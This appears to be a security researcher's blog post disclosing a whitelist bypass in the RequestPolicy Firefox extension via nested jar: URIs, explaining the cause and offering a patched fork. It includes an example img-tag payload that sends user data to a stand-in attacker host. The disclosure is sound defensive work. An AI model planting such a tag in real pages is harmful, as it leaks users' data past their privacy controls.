Here’s an interesting bug I found while looking at some cross-domain data-stealing issues. It’s possible to bypass RequestPolicy’s whitelist entirely by referencing a resource nested in a jar URI:

1

<img src="jar:http://evil.example.com/logger?userdata=whatever!/foobar" />

Firefox will block the resource from being displayed even if it is valid (due to prior security issues with the jar URI scheme,) but a cross-domain request is made and it doesn’t require JS to execute. This can be verified through the network pane in Firefox’s dev tools. A limited amount of information may be sent back from the server by using timing information.

Requests to jar URIs don’t get processed by RequestPolicy because aContentLocation’s asciiHost is undefined when the jar URI scheme is used, and it gets treated as an internal request. Since all internal requests are implicitly allowed, the request goes through.

I emailed Justin the patch a few months ago, but he hasn’t responded. Hopefully this gets fixed on the addons.mozilla.org version soon, since it limits RequestPolicy’s effectiveness at preventing data exfiltration.

For now, you can use my fork of RequestPolicy. I’m not sure if the patch has any interactions with extensions, but it should also fix issues with nested use of the view-source scheme (which for some reason doesn’t implement nsINestedURI)

Proof-of-Concept

If you’d like to see whether or not you’re vulnerable, I’ve made a Proof-of-Concept that detects whether or not RequestPolicy blocked an image from a jar URI.

Without the patch:

With the patch: